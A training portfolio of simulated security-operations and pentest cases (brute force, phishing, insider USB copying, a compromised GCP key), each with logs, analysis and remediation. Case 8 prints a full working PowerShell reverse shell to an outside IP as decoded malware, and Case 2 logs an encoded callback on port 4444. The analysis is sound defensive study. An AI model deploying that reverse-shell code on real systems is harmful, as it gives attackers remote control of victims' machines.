In this document, non-real cybersecurity cases are presented along with their analysis and resolution, aimed at demonstrating practical knowledge in the field. These cases were created with Claude and subsequently solved by me.

CASE 1: SUSPICIOUS ACCESS TO AN ADMINISTRATOR ACCOUNT

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst at an SMB using Google Workspace + GCP. Monday morning.

Alert received: The account `admin@empresa-ficticia.com` had a successful login at 03:47 AM (outside business hours), preceded by 4 failed attempts in the prior 10 minutes.

Investigation

1. Account verification and access pattern

```
      gcloud logging read ' protoPayload.authenticationInfo.principalEmail="admin@empresa-fict
icia.com" AND timestamp>="2026-09-01T00:00:00Z"' --format=json --order=asc
```

Result: 4 failed login attempts + 1 successful login, all from IP `185.220.101.47` (Tor network exit node), at a regular interval of ~1-2 minutes—a pattern consistent with an automated brute-force attack, not human error.

2. Post-successful-login activity review

```
      gcloud logging read ' protoPayload.authenticationInfo.principalEmail="admin@empresa-fict
icia.com" AND timestamp>="2026-09-01T03:47:22Z"' --format=json --order=asc
```

Result: the attacker granted the Owner role to an external account (`atacante.externo@gmail.com`) and accessed/downloaded a file containing employee payroll data (`nominas_2026.xlsx`).

Incident Report

Vector: Brute-force attack against an administrator account without MFA enabled, originating from the Tor network (03:41-03:47 AM).

Impact: Privilege escalation (Owner role granted to an unauthorized external account) and exfiltration of a file containing personal employee data (payroll).

Remediation applied:

- Immediate suspension of the compromised account.
- Revocation of all active sessions and associated tokens.
- Revocation of the illegitimate Owner role:

```
        gcloud projects remove-iam-policy-binding empresa-ficticia \ --member="user:atacant
e.externo@gmail.com" \ --role="roles/owner"
```

- Password reset for the affected account.
- MFA (multi-factor authentication) activation to prevent recurrence.
- Secondary measure: blocking the origin IP address.
- Notification to Legal/Compliance, HR, and employees affected by the exposure of payroll data.

Reference framework: MITRE ATT&CK - T1110 (Brute Force), T1078.004 (Valid Accounts: Cloud Accounts).

CASE 2: PHISHING EMAIL WITH POSSIBLE ENDPOINT COMPROMISE

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst at an SMB using Google Workspace + GCP. Wednesday mid-morning.

Alert received: An employee from Accounting reports having opened, 20 minutes ago, an attachment from an email that looked like an invoice from a regular supplier. After opening it, their computer began running slowly, and Windows Defender displayed an alert that they closed without reading carefully.

Task: Determine whether there was a real compromise of the host, what type of threat it is, and what actions to take.

Analysis

1. Early containment of the endpoint
Before analyzing any data, the host is isolated from the network (network/Wi-Fi disconnection or via the EDR console) to prevent lateral movement to other machines. *Important: do not turn off the machine, to preserve evidence in RAM memory (active malicious processes, open connections).*

2. Information gathered from the employee

- Sender's email address and message content.
- Format and filename of the attached file.
- Whether they enabled macros or special permissions upon opening it.
- Whether they entered credentials on any site to which the email redirected them.
- Requested to retain the original email without deleting it (evidence).

3. Endpoint activity review (EDR logs)


```
[ {"timestamp": "2026-09-03T10:15:02Z", "event": "process_created", "process": "factura_
0847.exe", "parent_process": "outlook.exe", "user": "jgonzalez"}, {"timestamp": "2026-09-03T1
0:15:04Z", "event": "process_created", "process": "powershell.exe", "parent_process": "factura
_0847.exe", "command_line": "powershell -enc JABZAD0ATgBIAHCALQBP..."}, {"timestamp": "2026-09
-03T10:15:09Z", "event": "network_connection", "process": "powershell.exe", "destination_ip":
"91.203.145.12", "destination_port": 4444, "protocol": "TCP"}, {"timestamp": "2026-09-03T10:1
5:11Z", "event": "defender_alert", "alert": "Behavior:Win32/Suspicious.Encoded Command", "acti
on_taken": "blocked_partial", "status": "user_dismissed_notification"} ]
```


Log interpretation:

- `factura_0847.exe` (disguised as a document) executed `powershell.exe` —anomalous behavior for an "invoice" file.
- The PowerShell command used the `-enc` flag (Base64 encoded), a typical technique to obfuscate its real content and evade text-signature-based antivirus scanners.
- PowerShell opened an outbound connection to an external IP on port 4444—a classic port for post-exploitation tools (Metasploit/Cobalt Strike) for reverse shells. The compromised endpoint "calls" the attacker rather than the attacker breaking in directly, thus evading perimeter firewalls.

Technical conclusion: It is not merely phishing (the delivery vector); the attachment acted as a dropper/loader that established a reverse shell, giving the attacker an active remote control path over the machine.

Incident Report

Vector: Phishing via email with a malicious attachment (`factura_0847.exe`) disguised as a supplier invoice. Upon execution, it launched PowerShell with a Base64 encoded command, establishing a reverse shell connection to an external IP (`91.203.145.12:4444`).

Impact: Compromise of the Accounting employee's endpoint with potential active remote control by the attacker. Impact contained prior to confirming data exfiltration or lateral movement, thanks to early user detection and timely host isolation.

Remediation applied:

- Network isolation of the affected computer (without shutting it down, to preserve RAM evidence).
- Perimeter firewall block of the C2 (Command & Control) IP and port: `91.203.145.12:4444` .
- Review of logs for signs of lateral movement toward other machines on the internal network.
- Preservation of the malicious file and original email as evidence.
- Training/awareness for the employee and the rest of the team on phishing identification.
- Documentation of the case and IOCs (indicators of compromise) in the team playbook for future reference.

Reference framework: MITRE ATT&CK - T1566.001 (Phishing: Spearphishing Attachment), T1059.001 (Command and Scripting Interpreter: PowerShell), T1071 (Application Layer Protocol / C2).

CASE 4: UNAUTHORIZED PUBLIC ACCESS ALERT DETECTED BY WAZUH

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst at an SMB. Wazuh, configured to monitor company infrastructure, generated a high-severity alert.

Alert received (Wazuh dashboard): Triggered rule: *"File permissions changed to world-readable"*—a permission change was detected on directory `/srv/clientes-docs/` of the Linux file server, granting read access to all system users (`chmod` with `o+r` applied recursively). Event occurred at 09:14 AM.

Task: Determine whether it was a legitimate change or an error/attack, how long it has been in that state, and correct it.

Analysis

1. Verification of current permissions

```
ls -la /srv/clientes-docs/
```

Confirms what Wazuh reported: the "others" permission triad shows `r` (public read), when it should be restricted only to the corresponding user/group.

2. Correcting the permission

```
chmod -R o-r /srv/clientes-docs/
```

`-R` applies the change recursively to all folder contents; `o-r` removes read permission for the "others" group (unauthorized users), reversing the exposure.

3. Investigating who and when via audit logs (auditd)

`ls -la` only shows current permission states, not who made the change or when. For that, we turn to `auditd`, the Linux auditing subsystem that records commands executed per user:

```
ausearch -f /srv/clientes-docs -ts today
```

Simulated result:

```
type=PATH msg=audit(1725433640.123): item=0 name="/srv/clientes-docs" type=SYSCALL msg=a
udit(1725433640.123): syscall=chmod success=yes exit=0 a0=... a1=0755 auid=1003 uid=1003 gid=1
003 comm="chmod" exe="/usr/bin/chmod" type=USER_LOGIN msg=audit(1725433640.100): auid=1003 pid
=8821
```

`auid=1003` identifies the real user who ran the command (audit user id, not easily spoofed). Cross-referenced with:

```
id 1003
```

results in user `mgarcia`, from IT Systems, accessing during normal business hours (09:14 AM). No compromise signs detected: no external access, no stolen credentials, no malicious tools.

Report - Security Finding (Not a Security Incident)

Finding: On the day of the event, at 09:14 AM (regular business hours), Wazuh detected a permission change in `/srv/clientes-docs/`, granting public read (`o+r`) to all system users.

Investigation: Through `auditd` (`ausearch`), it was identified that the change was executed by user

Actions taken:

- Immediate permission correction (`chmod -R o-r /srv/clientes-docs/`).
- Direct inquiry with `mgarcia` to determine the reason for the change (poorly executed routine task, typo, or legitimate need not communicated to security).
- Determination of total exposure time (from 09:14 AM until correction) to evaluate whether third parties accessed files during that window.
- Logging of the finding as a best-practices reminder: permission changes in sensitive directories must undergo prior review or notification to the security team.

Classification Note: Unlike Cases 1, 2, and 3 (incidents with confirmed attackers), this case is classified as a relevant Security Finding to demonstrate the ability to distinguish between a real incident and a false positive / administrative finding, thereby avoiding "alert fatigue".

CASE 5: SUSPICIOUS NETWORK SCAN DETECTED BY SURICATA

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst. Thursday afternoon. The company has Suricata (IDS/IPS) monitoring internal network traffic.

Alert received (Suricata panel): Triggered rule: `ET SCAN Nmap Scripting Engine User-Agent Detected` + multiple alerts `ET SCAN Possible Nmap User-Agent Observed`. Origin is an internal IP (`10.0.15.88`) that generated connections to over 40 distinct internal network hosts in under 3 minutes, across several ports (22, 80, 443, 3389, 445).

Task: Determine whether this is legitimate activity (authorized admin/pentester) or an attacker performing internal reconnaissance.

Analysis

1. Why the pattern is a red flag
The pattern (40+ hosts, multiple ports, in a few minutes) is the signature of a tool like Nmap sweeping the network for live hosts and exposed services (SSH 22, Web 80/443, RDP 3389, SMB 445). This behavior always warrants investigation, whether from an authorized pentester, an administrator, or an attacker—network activity alone does not reveal intent, and the fact that no system failed does not rule out malice: the goal of a reconnaissance scan is to gather information, not break things yet.

2. Origin identification (Internal IP)

```
arp -a | grep 10.0.15.88
```

Result:

```
? (10.0.15.88) at 3c:52:82:1a:9f:0e [ether] on eth0
```

According to asset inventory, the MAC address corresponds to the laptop assigned to `jperez` , from

3. Authorization confirmation
Consultation was held with a manager/Security team (before reaching out to the user, so as not to alert a potential attacker) to check if activity was planned. Result: no network scans scheduled this week, and `jperez` has been on vacation since Monday—the account/device is being used without its owner present.

4. Conclusion
Unauthorized activity confirmed: `jperez`'s device is being utilized by a third party to perform active internal network reconnaissance.

Incident Report

Vector: Unauthorized access to user `jperez`'s device while on vacation, via cause not yet confirmed (hypotheses to investigate: credential theft, brute force, or prior phishing). Detected by Suricata upon identifying traffic matching the Nmap Scripting Engine.

Impact: Active reconnaissance of the internal network—connections generated to over 40 distinct hosts within 3 minutes across multiple ports (22, 80, 443, 3389, 445), indicating a scanning/reconnaissance phase prior to potential exploitation.

Remediation applied:

- Immediate isolation of `jperez`'s device from the network.
- Suspension of their access credentials.
- Review of Suricata/firewall logs to determine the full scope of the scan and potentially exposed hosts.
- Pending investigation into the initial compromise vector.

Reference framework: MITRE ATT&CK - T1046 (Network Service Discovery), T1078 (Valid Accounts).

CASE 6: UNAUTHORIZED USB DEVICE CONNECTED TO A WORKSTATION

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst. Wazuh detects the connection of an unrecognized USB device on an employee's PC in Finance.

Alert received: Host `FIN-PC-07` (user: `lrodriguez`). A USB device (`VID_0951&PID_1666`, Kingston brand, not registered in the authorized device inventory) was connected at 14:32. Seconds later, mass file copying activity was recorded from `C:\Finanzas\Reportes\` to the device.

Task: Determine whether data exfiltration is occurring and what actions to take.

Analysis

1. Immediate containment
Workstation `FIN-PC-07` is isolated from the network to halt any further activity, and the USB is physically retained as evidence (without wiping its content).

2. Authorization verification
`lrodriguez` is a legitimate employee, so an external attacker is not immediately suspected. Authorization must be confirmed regarding USB device usage and whether copying files pertained to a legitimate, previously communicated task (e.g., manager request).

3. Review of copied files (Wazuh File Integrity Monitoring)

```
      2026-XX-XX 14:32:05 - File copied: C:\Finanzas\Reportes\balance_Q3_2026.xlsx -> E:\ 2026
-XX-XX 14:32:07 - File copied: C:\Finanzas\Reportes\proyecciones_2027.xlsx -> E:\ 2026-XX-XX 1
4:32:09 - File copied: C:\Finanzas\Reportes\cuentas_bancarias_proveedores.xlsx -> E:\ 2026-XX-
XX 14:32:11 - File copied: C:\Finanzas\Reportes\salarios_gerencia.xlsx -> E:\
```

Confirmed copy of 4 files with sensitive data: balance sheet, financial projections, supplier bank accounts, and management salaries.

4. Classification
The actor being an employee does not make this a false positive—a false positive requires that nothing actual occurred or that the action was authorized. Lacking confirmed authorization and involving sensitive data, this is classified as a possible insider threat, pending intent determination.

Incident Report

Vector: Connection of an unauthorized USB device (Kingston brand, not registered in inventory) to `lrodriguez`'s PC (Finance employee) without confirmed authorization.

Impact: Copying of 4 sensitive files (balance sheet, projections, supplier details, management salaries) to an external device—possible financial data exfiltration.

Remediation applied:

- Network isolation of the machine.
- Physical confiscation of the USB as evidence.
- Pending interview with the employee and manager to determine authorization status.
- If confirmed unauthorized, referral to Human Resources.

Reference framework: MITRE ATT&CK - T1052.001 (Exfiltration over Physical Medium: USB).

CASE 7: CORPORATE SOCIAL MEDIA ADMINISTRATOR ACCOUNT COMPROMISED

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst. The company manages social media from a shared X (Twitter) account belonging to Marketing. On Tuesday morning, Marketing reports that the account posted a tweet promoting a fake "crypto presale" that no one on the team wrote, and the account recovery email was changed.

Task: Determine what happened and how to regain control of the account.

Analysis

1. Source of information
Since this is a third-party SaaS platform, proprietary server logs do not exist. The investigation is conducted via the security panel of the platform itself (login history, active sessions, connected third-party apps).

2. Review of active sessions

- Active session: iOS App - initiated 03:14 AM from Lagos, Nigeria
- Active session: Web (Chrome) - initiated 09:00 AM from Mendoza, Argentina (Marketing team, normal)

The unusual location (Nigeria) combined with off-hours activity (3 AM, whereas Marketing operates from Mendoza during daylight hours) strongly indicates unauthorized access—verified by confirming no team member used a VPN for remote work at that hour, which was unlikely given the time.

3. Prioritizing response
Before updating passwords or emails, review and terminate unrecognized active sessions and revoke third-party app access—otherwise, the attacker might retain access (via open sessions or API integrations) even after credentials are changed.

Incident Report

Vector: Unauthorized access to corporate X (Twitter) account, evidenced by an active session from Nigeria at 03:14 AM (time and location outside normal Marketing patterns). Access cause pending confirmation (hypotheses: stolen credentials, brute force, or phishing).

Impact: Unauthorized tweet promoting a fraudulent crypto presale, and modification of account recovery email—reputational risk and potential follower exposure to fraud.

Remediation applied:

- Review of active sessions and third-party app connections panel.
- Termination of all unrecognized active sessions.
- Password change and reinstatement of legitimate recovery email.

Reference framework: MITRE ATT&CK - T1586 (Compromise Accounts), T1098 (Account Manipulation).

CASE 8: OBFUSCATED POWERSHELL ALERT EXECUTED VIA SCHEDULED TASK

Note: theoretical and reasoning practice; simulated commands and logs for learning purposes, not executed in a real environment.

Context: Junior SOC Analyst. Wazuh triggers an alert on `HR-PC-03` (HR employee PC) on a Thursday at 6 AM, with an empty office.

Alert received: A new scheduled task named `WindowsUpdateCheck` was created, running PowerShell with `-WindowStyle Hidden` every 30 minutes. The script contains a long Base64 string.

Task: Determine what is happening and what actions to take.

Analysis

1. Signal identification

The task name (`WindowsUpdateCheck`) mimics a legitimate Windows Update—a masquerading technique. The `-WindowStyle Hidden` flag hides the execution window so the user remains unaware. The 30-minute repeat interval is not meant to "stay hidden" (covered by the hidden flag), but to ensure persistence: the attacker guarantees regaining access even if the process closes or the system reboots.

2. Containment

Isolate the system from the network. Prior to deleting the scheduled task, decode the Base64 script to understand the attacker's objective—deleting it without prior review would destroy evidence of actual actions taken.

```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("JABZAD0ATgBlAHCALQBP..."))
```

Simulated result (decoded script):

```
$s = New-Object Net.Sockets.TCPClient('185.199.44.21', 8080) $stream = $s.GetStream() [byte[]] $bytes = 0..65535 | %(0) while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i) $sendback = (iex $data 2>&1 | Out-String) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte, 0, $sendbyte.Length) }
```

Confirms a pure PowerShell reverse shell ("living off the land", without relying on external executables): connects to `185.199.44.21:8080`, receives attacker commands, executes them via `iex` (Invoke-Expression), and returns output.

3. Removal of the task

```
      Get-ScheduledTask -TaskName "WindowsUpdateCheck" Unregister-ScheduledTask -TaskName "Win
dowsUpdateCheck" -Confirm:$false
```

Incident Report

Vector: Malicious scheduled task (`WindowsUpdateCheck`) created on HR employee PC at 6 AM, executing a hidden PowerShell script (`-WindowStyle Hidden`) every 30 minutes.

Impact: Active reverse shell in PowerShell, granting the attacker remote control and command execution on the host. Periodic execution (every 30 minutes) guaranteed access persistence.

Remediation applied:

- Network isolation of the computer.
- Base64 script decoding to confirm attacker objective before action.
- Removal of the malicious scheduled task.
- System reinstallation/integrity verification for additional potential malware.

Reference framework: MITRE ATT&CK - T1053.005 (Scheduled Task/Job), T1059.001 (PowerShell), T1071 (Application Layer Protocol / C2).

CASE 9: VULNERABLE LOGIN FORM DETECTED IN PENTEST

Note: theoretical and reasoning practice; simulated commands and results for learning purposes, not executed in a real environment.

Role: Pentester (authorized security evaluator), performing a scheduled penetration test on the internal HR web application using Burp Suite.

Context: Intercepting login form traffic reveals that server response times vary depending on the entered username, even prior to password validation:

- Non-existent user (`asdf123`): response in ~120ms, with "Incorrect username or password".
- Existing user (`jperez`): response in ~800ms, with the same generic message.

Task: Identify the vulnerability and its risk.

Analysis

1. Origin of time difference
With a non-existent user, validation halts as soon as the user is missing from the database. For an existing user (`jperez`), the system continues processing to verify the password (typically via hash calculation), which takes longer—hence the added delay.

2. Why it is a security issue
Although the error message is identical in both cases (generic, as it should be), response time differences leak information: allowing valid vs. invalid users to be distinguished without explicit message indicators. This is known as a timing attack (user enumeration via response time).

3. Systematic confirmation with Burp Suite
Burp Intruder is used, loading a username list (real and dummy) to automate login attempts and log response times for each, confirming the pattern at scale rather than relying on two isolated tests.

Finding Report (Pentest)

Vector: Timing attack vulnerability detected on HR web application login endpoint during Burp Suite penetration testing. Non-existent users return responses in ~120ms, while existing users (`jperez`) return in ~800ms despite showing identical generic error messages.

Impact: Allows an attacker to enumerate valid system users without guessing passwords, enabling targeted brute-force attacks against confirmed accounts—significantly reducing effort required to compromise accounts.

Recommended remediation:

- Implement constant response times on the login endpoint (e.g., run a dummy hash check even when the user does not exist) to eliminate timing discrepancies between valid and invalid attempts.
- Recommendation reported to development team for remediation before the next assessment.

Reference framework: OWASP Top 10 - A07:2021 Identification and Authentication Failures; MITRE ATT&CK - T1589.002 (Gather Victim Identity Information).

CASE 10: CRITICAL VULNERABILITY DETECTED IN ROUTINE SCAN

Note: theoretical and reasoning practice; simulated results for learning purposes, not executed in a real environment.

Role: Vulnerability Management Analyst, running a scheduled monthly scan across company Linux servers.

Context: The scan reports that `APP-SRV09` (backend for a customer portal, internet-exposed) runs an outdated version of Apache Struts with a known critical vulnerability.

Scan result:

```
     Host: APP-SRV09 (10.20.5.12) Service: Apache Struts 2.3.31 Vulnerability: CVE-2017-5638
Severity: CRITICAL (CVSS 9.8) Exploitable: Yes (public exploit available)
```

Task: Prioritize and manage this vulnerability.

Analysis

1. Prioritization factors
Beyond severity (CVSS 9.8), urgency is defined by combining: exposure (server faces the internet, not internal-only), availability of public exploit code (usable without expertise), and system criticality to the business (customer portal backend, not a staging environment).

2. Verification of prior exploitation
Company playbooks are reviewed to check whether the incident was previously documented. Lacking records, logs across Apache/WAF/IDS are inspected directly for traffic patterns matching the public exploit for this CVE, referencing official CVE details to identify signature patterns.

3. Balancing security and business continuity
Rather than choosing immediate downtime, a temporary mitigation without service interruption is evaluated: a WAF rule blocking the specific CVE exploit pattern while a low-traffic maintenance window is scheduled for applying the definitive patch.

Finding Report

Vector: Monthly vulnerability scan detected an outdated Apache Struts version (2.3.31) on `APP-SRV09` (customer portal backend) carrying a known critical vulnerability (CVE-2017-5638, CVSS 9.8) that allows unauthenticated remote code execution, with public exploits available.

Impact: Risk of remote server compromise and unauthorized access to customer data, given direct exposure to the internet.

Remediation applied:

- Application of a WAF rule to block known CVE exploit patterns, mitigating risk without downtime.
- Review of historic logs and playbooks to rule out prior exploitation.
- Coordination of a maintenance window to update Apache Struts to a patched version.

Reference framework: MITRE ATT&CK - T1190 (Exploit Public-Facing Application); OWASP Top 10 - A06:2021 Vulnerable and Outdated Components.

CASE 11: OVER-PRIVILEGED SERVICE ACCOUNT AND COMPROMISED KEY IN GCP

Note: theoretical and reasoning practice; simulated commands and results for learning purposes, not executed in a real environment.

Role: Cloud Security Engineer, reviewing monthly Security Command Center (SCC) findings in the company's GCP project.

Context: The company runs its application and CI server (Jenkins, an app deployment automation tool) on GCP. Jenkins uses a service account to deploy the app, authenticating via a JSON key.

Alert received:

```
Finding: Service account has Editor role Resource: jenkins-deploy@empresa-prod.iam.gserv
iceaccount.com Role: roles/editor (project level) Key: user-created key created 14 months ago,
never rotated
```

The DevOps team explains they granted Editor "so it wouldn't throw permission errors" and that the JSON key is stored as a credential inside Jenkins.

Task: Evaluate risk, review for suspicious usage, and propose remediation.

Analysis

1. Risk evaluation

Jenkins only needs to deploy the application, but with the Editor role it can also create or delete VMs, storage buckets, and databases across the entire project. This violates the principle of least privilege: an account should hold only required permissions. Furthermore, the key has gone 14 months without rotation, does not expire, and can be used from anywhere; it resides in Jenkins, a central credential repository and frequent attack target. Standard rotation is every 90 days or fewer.

2. Reviewing activity in Cloud Audit Logs

```
gcloud logging read ' protoPayload.authenticationInfo.principalEmail="jenkins-deploy@emp
resa-prod.iam.gserviceaccount.com"' \ --freshness=30d \ --format="table(timestamp, protoPayloa
d.methodName, protoPayload.requestMetadata.callerIp)"
```

Simulated result (snippet):

```
      | TIMESTAMP | METHOD_NAME | CALLER_IP | | 2026-10-12T14:05:10Z | v1.compute.instances.in
sert | 34.72.15.20 | | 2026-10-12T14:05:48Z | storage.objects.create | 34.72.15.20 | | 2026-10
-13T16:30:02Z | v1.compute.instances.insert | 34.72.15.20 | | 2026-10-14T03:12:44Z | storage.b
uckets.list | 198.51.100.77 | | 2026-10-14T03:14:02Z | storage.objects.get | 198.51.100.77 | |
2026-10-14T03:20:31Z | v1.compute.instances.insert | 198.51.100.77 |
```

The initial rows (`instances.insert` from `34.72.15.20` during afternoon hours) represent standard Jenkins behavior. The final three differ in IP (`198.51.100.77` , unknown), time (03:12 AM), and action types: listing buckets, reading objects, and creating VMs match reconnaissance patterns. The account is identical, but the actor using it is not Jenkins: the key was compromised.

3. Searching for persistence
Filter for typical persistence actions (creating accounts and modifying permissions):

```
      gcloud logging read ' protoPayload.authenticationInfo.principalEmail="jenkins-deploy@emp
resa-prod.iam.gserviceaccount.com" AND (protoPayload.methodName:"CreateServiceAccount" OR prot
oPayload.methodName="SetIamPolicy")' \ --freshness=30d \ --format="table(timestamp, protoPaylo
ad.methodName, protoPayload.resourceName, protoPayload.requestMetadata.callerIp)"
```

Simulated result:

```
      TIMESTAMP METHOD_NAME CALLER_IP RESOURCE_NAME 2026-10-14T03:25:12Z google.iam.admin.v1.C
reateServiceAccount 198.51.100.77 svc-monitoring-bk@empresa-prod... 2026-10-14T03:26:40Z googl
e.iam.admin.v1.CreateServiceAccountKey198.51.100.77 svc-monitoring-bk@empresa-prod... 2026-10-
14T03:27:05Z SetIamPolicy 198.51.100.77 projects/empresa-prod
```

The attacker created a new service account (`svc-monitoring-bk` , deceptively named), generated a key, and assigned permissions. This establishes a backdoor: even if Jenkins's key is revoked, this new account remains operational.

4. Containment
Action sequence (first block access, then rotate, as rotation takes minutes while the attacker is inside):

```
      # Disable compromised key without deleting it (preserved as evidence) gcloud iam service
-accounts keys list \ --iam-account=jenkins-deploy@empresa-prod.iam.gserviceaccount.com gcloud
iam service-accounts keys disable KEY_ID \ --iam-account=jenkins-deploy@empresa-prod.iam.gserv
iceaccount.com # Disable attacker-created account gcloud iam service-accounts disable \ svc-mo
nitoring-bk@empresa-prod.iam.gserviceaccount.com # Review and remove assigned permissions gclo
ud projects get-iam-policy empresa-prod gcloud projects remove-iam-policy-binding empresa-prod
\ --member="serviceAccount:svc-monitoring-bk@empresa-prod.iam.gserviceaccount.com" \ --role="r
oles/ROLE_ASSIGNED"
```

Next, a new key is created for Jenkins, loaded onto the server, and the old key removed. The VM created at 03:20 AM is stopped (retained as evidence, not deleted) and inspected for running processes.

Incident Report

Vector: Unauthorized use of service account JSON key for `jenkins-deploy` (project-level Editor role, key unrotated for 14 months) from an external IP address (`198.51.100.77`). Source of key theft pending confirmation.

Impact: At 03:12 on 10/14, the attacker listed buckets, read an object (contents to be determined), and created a VM. They subsequently created service account `svc-monitoring-bk`, generated a key, and granted permissions via `SetIamPolicy`, establishing persistent access even if the Jenkins key were revoked.

Remediation applied:

- Disabling of the `jenkins-deploy` key and generation of a replacement.
- Disabling of service account `svc-monitoring-bk`, along with key deletion and permission revocation.
- VM stopped and preserved for forensic analysis.
- Audit of accessed object to evaluate data exposure scope.
- Root-cause fix: replace Editor with a tailored role containing only deployment permissions (least privilege) and enforce key rotation every 90 days or less.

Reference framework: MITRE ATT&CK - T1078.004 (Valid Accounts: Cloud Accounts), T1136.003 (Create Account: Cloud Account), T1098 (Account Manipulation).